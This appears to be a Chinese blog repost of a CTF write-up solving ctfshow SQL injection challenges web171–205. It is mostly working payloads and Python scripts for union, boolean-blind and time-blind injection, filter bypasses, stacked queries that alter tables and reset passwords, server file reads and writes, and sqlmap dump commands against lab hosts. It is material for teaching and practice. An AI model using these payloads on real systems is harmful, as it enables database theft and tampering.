ctfshow web入门 sql注入
后台-插件-广告管理-内容页头部广告(手机) |
前言
sql注入分为多种类型的注入,我将对ctfshow web入门的sql入门进行题目分类,并在最后对每种sql注入做一下总结;
web171
本题类型 联合注入
第一种方法 万能密码
1'or 1=1 --+第二种方法
联合注入
- # @Author:Y4tacker
- # 查数据库
- payload = "-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+"
- # 查列名
- payload="-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user' --+"
- # 查flag
- payload="-1'union select id,username,password from ctfshow_user --+"
这是按照数据库中有3个数据库进行,因为题目一般为3,当然也可以使用查询语句进行查询,语句如下
1' order by 3 --+web172
联合查询
这道题同上,只不过不让userrname返回flag字样,所以就是基于联合查询的绕过
- -1' union select 1,2 --+
- -1' union select to_base64(username),hex(password) from ctfshow_user2 --+
web173
联合查询
只是让第一行也要返回数据
1' union select id,hex(username),hex(password) from ctfshow_user3--+多一个点就行
web174
盲注
注意需要将url换成4
二分查找脚本
- # @Author:Y4tacker
- import requests
- url = "http://e076200d-5e74-4121-b2fc-04153243f7a3.chall.ctf.show/api/v4.php?id=1' and "
- result = ''
- i = 0
- while True:
- i = i + 1
- head = 32
- tail = 127
- while head < tail:
- mid = (head + tail) >> 1
- payload = f'1=if(ascii(substr((select password from ctfshow_user4 limit 24,1),{i},1))>{mid},1,0) -- -'
- r = requests.get(url + payload)
- if "admin" in r.text:
- head = mid + 1
- else:
- tail = mid
- if head != 32:
- result += chr(head)
- else:
- break
- print(result)
二分查找的相关函数也是盲注的相关函数
- length() 函数 返回字符串的长度
- substr() 截取字符串 (语法:SUBSTR(str,pos,len);)
- ascii() 返回字符的ascii码 [将字符变为数字wei]
- sleep() 将程序挂起一段时间n为n秒
- if(expr1,expr2,expr3) 判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句
web175
时间盲注
说一下时间盲注,时间盲注的关键函数就是sleep(),在sleep中,sleep(n)就是停留n秒,这里的通过回显的时间长短来看看是否有时间盲注;
对于时间盲注测试
?id=1' and if(length(database())>=8,sleep(5),1)-- -看它的反应时间,从而判断是不是含有时间盲注,如果随着sleep()中的时间增长,反应时间也会增长,那么就存在时间盲注
本题脚本
- # @Author:Y4tacker
- import requests
- url = "http://7eac161c-e06e-4d48-baa5-f11edaee7d38.chall.ctf.show/api/v5.php?id=1' and "
- result = ''
- i = 0
- while True:
- i = i + 1
- head = 32
- tail = 127
- while head < tail:
- mid = (head + tail) >> 1 #右移位算符,就是左边(head+tail)是要移的原数,而1就是要移的位数,1就是要除以2的几次方,1就是一次方。这里是二分法就是每次要除于2
- payload = f'1=if(ascii(substr((select password from ctfshow_user5 limit 24,1),{i},1))>{mid},sleep(2),0) -- -'
- try:
- r = requests.get(url + payload, timeout=0.5) //解释一下timeout是如果超过0.5秒没有响应就会返回异常
- tail = mid
- except Exception as e:
- head = mid + 1
- if head != 32:
- result += chr(head) #unicode解码函数,将数字转为对应的unicode字母
- else:
- break
- print(result)
第二种方法
利用读写文件写入网站根目录
http://7eac161c-e06e-4d48-baa5-f11edaee7d38.chall.ctf.show/api/v5.php?id=1' union select 1,password from ctfshow_user5 into outfile '/var/www/html/1.txt'--+&page=1&limit=10
之后访问http://7eac161c-e06e-4d48-baa5-f11edaee7d38.chall.ctf.show/1.txt
web176
联合注入
第一种方法
万能密码
1'or 1=1 --+第二种方法
就是用大小写绕过
1' uNion sElect 1,2,password from ctfshow_user --+web177
联合注入
就是空格被过滤了,就绕过空格就行
1'/**/union/**/select/**/password,1,1/**/from/**/ctfshow_user/**/where/**/username/**/='flag'%23web178
联合注入
同上题,过滤了空格和*
解法1
过滤了空格与*号等用%09绕过
1'%09union%09select%091,2,3%23
之后一把梭得到flag1'%09union%09select%091,2,password%09from%09ctfshow_user%23
解法二
万能密码
id=1'or'1'='1'%23
web179
同上,只是又过滤%09
第一种方法
万能密码
id=1'or'1'='1'%23
第二种方法
这次还把%09过滤了,测试了下发现%0c可以绕过
所以1'union%0cselect%0c1,2,password%0cfrom%0cctfshow_user%23
web180-182
把所有空格都过滤了,用万能密码,还可以用盲注
id=-1'or(id=26)and'1'='1
web183
布尔盲注
- import string
- import requests
- url = "http://ff8c3946-0975-4e96-b520-a7a95a9f5038.challenge.ctf.show:8080/select-waf.php"
- payload = "(ctfshow_user)where(pass)like(0x{})"
- true_flag = "$user_count = 1;"
- def make_payload(has: str) -> str:
- return payload.format((has + "%").encode().hex())
- def valid_payload(p: str) -> bool:
- data = {
- "tableName": p
- }
- response = requests.post(url, data=data)
- return true_flag in response.text
- flag = "ctf" # 这里注意表中用 like 'ctf%' 只有一个结果,要提前给出这一小段 flag 头避免其他记录干扰匹配
- while True:
- for c in "{}-" + string.digits + string.ascii_lowercase:
- pd = flag+c
- print(f"\r[*] trying {pd}", end="")
- if valid_payload(make_payload(pd)):
- flag += c
- print(f"\r[*] flag: {flag}")
- break
- if flag[-1] == "}":
- break
脚本如上
web184
过滤 ban 了 where,可以用 right/left/inner join 代替
- import string
- import requests
- url = "http://89463a4c-73a0-4eb7-bc52-ed12c47bf60b.challenge.ctf.show:8080/select-waf.php"
- payload = "ctfshow_user as a right join ctfshow_user as b on b.pass regexp(0x{})"
- true_flag = "$user_count = 43;"
- def make_payload(has: str) -> str:
- return payload.format((has).encode().hex())
- def valid_payload(p: str) -> bool:
- data = {
- "tableName": p
- }
- response = requests.post(url, data=data)
- return true_flag in response.text
- flag = "ctf" # 这里注意表中用 regexp('ctf') 只有一个结果,要提前给出这一小段 flag 头避免其他记录干扰匹配
- while True:
- for c in "{}-" + string.digits + string.ascii_lowercase:
- pd = flag+c
- print(f"\r[*] trying {pd}", end="")
- if valid_payload(make_payload(pd)):
- flag += c
- print(f"\r[*] flag: {flag}")
- break
- if flag[-1] == "}":
- break
web185
过滤了数字,自己构造
脚本如下
- # @Author:Y4tacker
- import requests
- url = "http://341e93e1-a1e7-446a-b7fc-75beb0e88086.chall.ctf.show/select-waf.php"
- flag = 'flag{'
- def createNum(n):
- num = 'true'
- if n == 1:
- return 'true'
- else:
- for i in range(n - 1):
- num += "+true"
- return num
- for i in range(45):
- if i <= 5:
- continue
- for j in range(127):
- data = {
- "tableName": f"ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{createNum(i)},{createNum(1)})regexp(char({createNum(j)})))"
- }
- r = requests.post(url, data=data)
- if r.text.find("$user_count = 43;") > 0:
- if chr(j) != ".":
- flag += chr(j)
- print(flag.lower())
- if chr(j) == "}":
- exit(0)
- break
web186
同上,脚本如下;
- # @Author:Y4tacker
- import requests
- url = "http://0ee67cf6-8b94-4384-962b-101fce5a7862.chall.ctf.show/select-waf.php"
- flag = 'flag{'
- def createNum(n):
- num = 'true'
- if n == 1:
- return 'true'
- else:
- for i in range(n - 1):
- num += "+true"
- return num
- for i in range(45):
- if i <= 5:
- continue
- for j in range(127):
- data = {
- "tableName": f"ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{createNum(i)},{createNum(1)})regexp(char({createNum(j)})))"
- }
- r = requests.post(url, data=data)
- if r.text.find("$user_count = 43;") > 0:
- if chr(j) != ".":
- flag += chr(j)
- print(flag.lower())
- if chr(j) == "}":
- exit(0)
- break
web187
这道题属于一个姿势就是绕过md5($_POST['password'],true);老面孔了用户名填写admin密码为ffifdyop
账号是admin密码有两种
- ffifdyop
- 129581926211651571912466741651878684928
web188
在 php 中,当一个字符串当作一个数值来取值,其结果和类型如下: 如果该字符串没有包含 '.','e','E' 并且其数值值在整形的范围之内该字符串被当作 int 来取值,其他所有情况下都被作为 float 来取值,该字符串的开始部分决定了它的值,如果该字符串以合法的数值开始,则使用该数值,否则其值为0。
$row['pass'] 为 string 类型,若第一个字符不是数字就会被转换为数字 0。尝试在 password 填写数字 0,成功绕过。
登录成功,response 内找到 flag
web189
这道题可以根据用户名username数值是0或1可以得到不同的结果,从而布尔盲注;
- import requests
- url = "http://06d6c1a8-d2cf-4590-8b20-19fd83835dff.challenge.ctf.show:8080/api/"
- payload1 = "if(locate('ctfshow',load_file('/var/www/html/api/index.php'))>{index},0,1)"
- def find_flag_index() -> int:
- start = 0
- end = 1000
- while not (abs(start-end) == 1 or start == end):
- p = (start + end) // 2
- data = {
- "username": payload1.format(index=p),
- "password": 0
- }
- response = requests.post(url, data=data)
- if "\\u5bc6\\u7801\\u9519\\u8bef" in response.text:
- start = p
- else:
- end = p
- if end < start:
- end = start
- return end
- print("[*] finding flag index")
- flag_index = find_flag_index()
- print(f"[!] flag index found: {flag_index}")
- flag = "c"
- flag_index += 1
- print("[*] start to injection")
- payload2 = "if(ascii(substr(load_file('/var/www/html/api/index.php'),{},1))>{},0,1)"
- while flag[-1] != "}":
- start = 32
- end = 127
- while not (abs(start-end) == 1 or start == end):
- p = (start + end) // 2
- data = {
- "username": payload2.format(flag_index, p),
- "password": 0
- }
- response = requests.post(url, data=data)
- if "\\u5bc6\\u7801\\u9519\\u8bef" in response.text:
- start = p
- else:
- end = p
- if end < start:
- end = start
- flag += chr(end)
- print(f"[*] flag: {flag}")
- flag_index += 1
脚本如上
web190
有过滤的字符型注入,没有给出过滤的正则表达式,在 username 处构造 payload 布尔盲注。
先查表名,再查列名,再用列名和表名构造 payload 查 flag。
- import requests
- url = "http://e542cd49-fc4e-4ed0-a6cf-0ba1142d8c97.challenge.ctf.show:8080/api/"
- # 表名 ctfshow_fl0g,ctfshow_user
- # payload = "0' or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{},1,0) -- "
- # 列名 id,f1ag,id,username,pass
- # payload = "0' or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database()),{},1))>{},1,0) -- "
- # flag
- payload = "0' or if(ascii(substr((select f1ag from ctfshow_fl0g),{},1))>{},1,0) -- "
- true_flag = "\\u5bc6\\u7801\\u9519\\u8bef"
- result = ""
- index = 1
- while True:
- start = 32
- end = 127
- while not (abs(start-end) == 1 or start == end):
- p = (start + end) // 2
- data = {
- "username": payload.format(index, p),
- "password": 0
- }
- response = None
- while True:
- try:
- response = requests.post(url, data=data)
- except:
- continue
- break
- if true_flag in response.text:
- start = p
- else:
- end = p
- if end < start:
- end = start
- result += chr(end)
- print(f"[*] result: {result}")
- index += 1
web191
布尔盲注,上脚本
- # 不用二分法
- import string
- import requests
- url = "http://c9b03201-bcdf-42ce-ac5b-c546603c1848.challenge.ctf.show:8080/api/"
- payload = "0' or if(substr((select group_concat(table_name) from information_schema.tables where " \
- "table_schema=database()),{},1)='{}',1,0) -- "
- true_flag = "\\u5bc6\\u7801\\u9519\\u8bef"
- def valid_char(index: int, c: chr) -> bool:
- data = {
- "username": payload.format(index, c),
- "password": 0
- }
- response = None
- while True:
- try:
- response = requests.post(url, data=data)
- except:
- continue
- break
- return true_flag in response.text
- result = ""
- index = 1
- while True:
- for char in string.printable:
- print(f"\r[*] trying: {result + char}", end="")
- if valid_char(index, char):
- result += char
- print(f"\r[*] result: {result}")
- index += 1
- break
- # 用了二分法 dejavu~~~
- import requests
- url = "http://c9b03201-bcdf-42ce-ac5b-c546603c1848.challenge.ctf.show:8080/api/"
- # 表名 CtFsHOw{FL0G,CtFsHOw{usEr
- # payload = "0' or if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)>'{}',1,0) -- "
- # 列名 ID,F1AG,ID,usErNAME,pAss
- # payload = "0' or if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database()),{},1)>'{}',1,0) -- "
- # flag
- payload = "0' or if(substr((select f1ag from ctfshow_fl0g),{},1)>'{}',1,0) -- "
- true_flag = "\\u5bc6\\u7801\\u9519\\u8bef"
- result = ""
- index = 1
- while True:
- start = 32
- end = 127
- while not (abs(start-end) == 1 or start == end):
- p = (start + end) // 2
- data = {
- "username": payload.format(index, chr(p)),
- "password": 0
- }
- response = None
- while True:
- try:
- response = requests.post(url, data=data)
- except:
- continue
- break
- if true_flag in response.text:
- start = p
- else:
- end = p
- if end < start:
- end = start
- result += chr(end)
- print(f"[*] result: {result}")
- index += 1
web192
又过滤了一些东西,不影响上一道题的脚本,直接用上一道题的脚本就行
- # 用了二分法 dejavu~~~
- import requests
- url = "http://c9b03201-bcdf-42ce-ac5b-c546603c1848.challenge.ctf.show:8080/api/"
- # 表名 CtFsHOw{FL0G,CtFsHOw{usEr
- # payload = "0' or if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)>'{}',1,0) -- "
- # 列名 ID,F1AG,ID,usErNAME,pAss
- # payload = "0' or if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database()),{},1)>'{}',1,0) -- "
- # flag
- payload = "0' or if(substr((select f1ag from ctfshow_fl0g),{},1)>'{}',1,0) -- "
- true_flag = "\\u5bc6\\u7801\\u9519\\u8bef"
- result = ""
- index = 1
- while True:
- start = 32
- end = 127
- while not (abs(start-end) == 1 or start == end):
- p = (start + end) // 2
- data = {
- "username": payload.format(index, chr(p)),
- "password": 0
- }
- response = None
- while True:
- try:
- response = requests.post(url, data=data)
- except:
- continue
- break
- if true_flag in response.text:
- start = p
- else:
- end = p
- if end < start:
- end = start
- result += chr(end)
- print(f"[*] result: {result}")
- index += 1
web193
过滤了substr,用mid就行;
- import requests
- url = "http://308c24b8-b4a7-4ad5-a2b9-42804d696718.challenge.ctf.show:8080/api/"
- # 表名 ctfshow{flxg,ctfshow{user
- # payload = "0' or if(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)>'{}',1,0) -- "
- # 列名 id,f1ag,id,username,pass
- # payload = "0' or if(mid((select group_concat(column_name) from information_schema.columns where table_schema=database()),{},1)>'{}',1,0) -- "
- # flag
- payload = "0' or if(mid((select f1ag from ctfshow_flxg),{},1)>'{}',1,0) -- "
- true_flag = "\\u5bc6\\u7801\\u9519\\u8bef"
- result = ""
- index = 1
- while True:
- start = 32
- end = 127
- while not (abs(start-end) == 1 or start == end):
- p = (start + end) // 2
- data = {
- "username": payload.format(index, chr(p)),
- "password": 0
- }
- response = None
- while True:
- try:
- response = requests.post(url, data=data)
- except:
- continue
- break
- if true_flag in response.text:
- start = p
- else:
- end = p
- if end < start:
- end = start
- result += chr(end).lower() # 部分字母变成了大写 _ 变成了 { 暂时还不知道什么原因 但可以肯定跟没用 ascii() 有关
- print(f"[*] result: {result}")
- index += 1
web194
新增了一些过滤,不影响上一道题的脚本,直接使用
web195
堆叠注入
没有过滤;和update set = 新学一种姿势,用户名填
0;update`ctfshow_user`set`pass`=0x3130303836
密码已改为10086
所以密码填10086就行
web196
有过滤的数字型注入,给出的过滤正则表达式变得不可信,明明有 select 但还是可以用的,利用堆叠注入绕过密码
- 1;select(1)
- 1
web197
这道题还是堆叠注入,直接爆破
- import requests
- url = "http://5b75f519-f196-427c-bbb1-6841984ef093.challenge.ctf.show:8080/api/"
- def alter_table():
- data = {
- "username": "0;alter table ctfshow_user change column pass tmp varchar(255);alter table ctfshow_user change "
- "column id pass varchar(255);alter table ctfshow_user change column tmp id varchar(255)",
- "password": 1
- }
- _ = requests.post(url, data=data)
- success_flag = "\\u767b\\u9646\\u6210\\u529f"
- def brute_force_admin():
- for i in range(300):
- data = {
- "username": f"0x{'admin'.encode().hex()}",
- "password": 1
- }
- response = requests.post(url, data=data)
- if success_flag in response.text:
- print(f"[*] msg: {response.text}")
- return
- if __name__ == "__main__":
- print("[*] change column id to pass")
- alter_table()
- print("[*] brute force admin password")
- brute_force_admin()
web198
还是堆叠注入,还可以用上一道题脚本
web199
正则禁用了括号,password 改用 text 类型,id 改用 int 类型
- import requests
- url = "http://3e88c41f-6b50-41ed-9002-e37799200c7c.challenge.ctf.show:8080/api/"
- def alter_table():
- data = {
- "username": "0;alter table ctfshow_user change column pass tmp text;alter table ctfshow_user change "
- "column id pass int;alter table ctfshow_user change column tmp id text",
- "password": 1
- }
- _ = requests.post(url, data=data)
- success_flag = "\\u767b\\u9646\\u6210\\u529f"
- def brute_force_admin():
- for i in range(300):
- data = {
- "username": f"0x{'admin'.encode().hex()}",
- "password": 1
- }
- response = requests.post(url, data=data)
- if success_flag in response.text:
- print(f"[*] msg: {response.text}")
- return
- if __name__ == "__main__":
- print("[*] change column id to pass")
- alter_table()
- print("[*] brute force admin password")
- brute_force_admin()
web200
上一道题脚本可以使用
web201
sqlmap的使用
- # 检测注入类型
- $ sqlmap http://cd31c7e8-9d3a-4f97-b5b5-7eb0d38d23e0.challenge.ctf.show:8080/api/?id=1 --referer="ctf.show"
- # 出库名
- $ sqlmap http://cd31c7e8-9d3a-4f97-b5b5-7eb0d38d23e0.challenge.ctf.show:8080/api/?id=1 --referer="ctf.show" -dbs
- # 出表名
- $ sqlmap http://cd31c7e8-9d3a-4f97-b5b5-7eb0d38d23e0.challenge.ctf.show:8080/api/?id=1 --referer="ctf.show" -D "ctfshow_web" --tables
- # 出数据
- $ sqlmap http://cd31c7e8-9d3a-4f97-b5b5-7eb0d38d23e0.challenge.ctf.show:8080/api/?id=1 --referer="ctf.show" -D "ctfshow_web" -T "ctfshow_user" --dump
web202
也是sqlmap的使用
- $ sqlmap -u "http://5d506c45-1336-4345-858f-1de6dacef1a1.challenge.ctf.show:8080/api/" --data="id=1" --level=3 --risk=3
- $ sqlmap -u "http://5d506c45-1336-4345-858f-1de6dacef1a1.challenge.ctf.show:8080/api/" --data="id=1" --level=3 --risk=3 --dbs
- $ sqlmap -u "http://5d506c45-1336-4345-858f-1de6dacef1a1.challenge.ctf.show:8080/api/" --data="id=1" --level=3 --risk=3 --D "ctfshow_web" --tables
- $ sqlmap -u "http://5d506c45-1336-4345-858f-1de6dacef1a1.challenge.ctf.show:8080/api/" --data="id=1" --level=3 --risk=3 -D "ctfshow_web" -T "ctfshow_user" --dump
web203
sqlmap的使用
- $ sqlmap -u "http://c9d3e765-d676-4c4c-a87b-3b99ebf5e70b.challenge.ctf.show:8080/api/index.php" --method=put --data="id=1" --headers="Content-Type: text/plain" --referer=ctf.show -D ctfshow_web -T ctfshow_user --dump
web204
sqlmap的使用
- $ sqlmap -u "http://38e4a4ea-fb61-45cd-81cb-2f96697a5d0f.challenge.ctf.show:8080/api/index.php" --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=rj2j2j2ool1bbkj2sps4u1m0ml; ctfshow=cbbfc316f35593f84f3ae1c60b64df16" --referer=ctf.show -D ctfshow_web -T ctfshow_user --dump
web205
sqlmap的使用,空格的绕过
- $ sqlmap -u "http://bc2af829-2f3c-4060-b63c-101630fdfe14.challenge.ctf.show:8080/api/index.php" --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=rj2j2j2ool1bbkj2sps4u1m0ml; ctfshow=cbbfc316f35593f84f3ae1c60b64df16" --referer=ctf.show -D ctfshow_web --safe-url="http://bc2af829-2f3c-4060-b63c-101630fdfe14.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=space2comment -T ctfshow_flaxca --dump
1.本站遵循行业规范,任何转载的稿件都会明确标注作者和来源;2.本站的原创文章,请转载时务必注明文章作者和来源,不尊重原创的行为我们将追究责任;3.作者投稿可能会经我们编辑修改或补充。
在线投稿:投稿 站长QQ:1888636
后台-插件-广告管理-内容页尾部广告(手机) |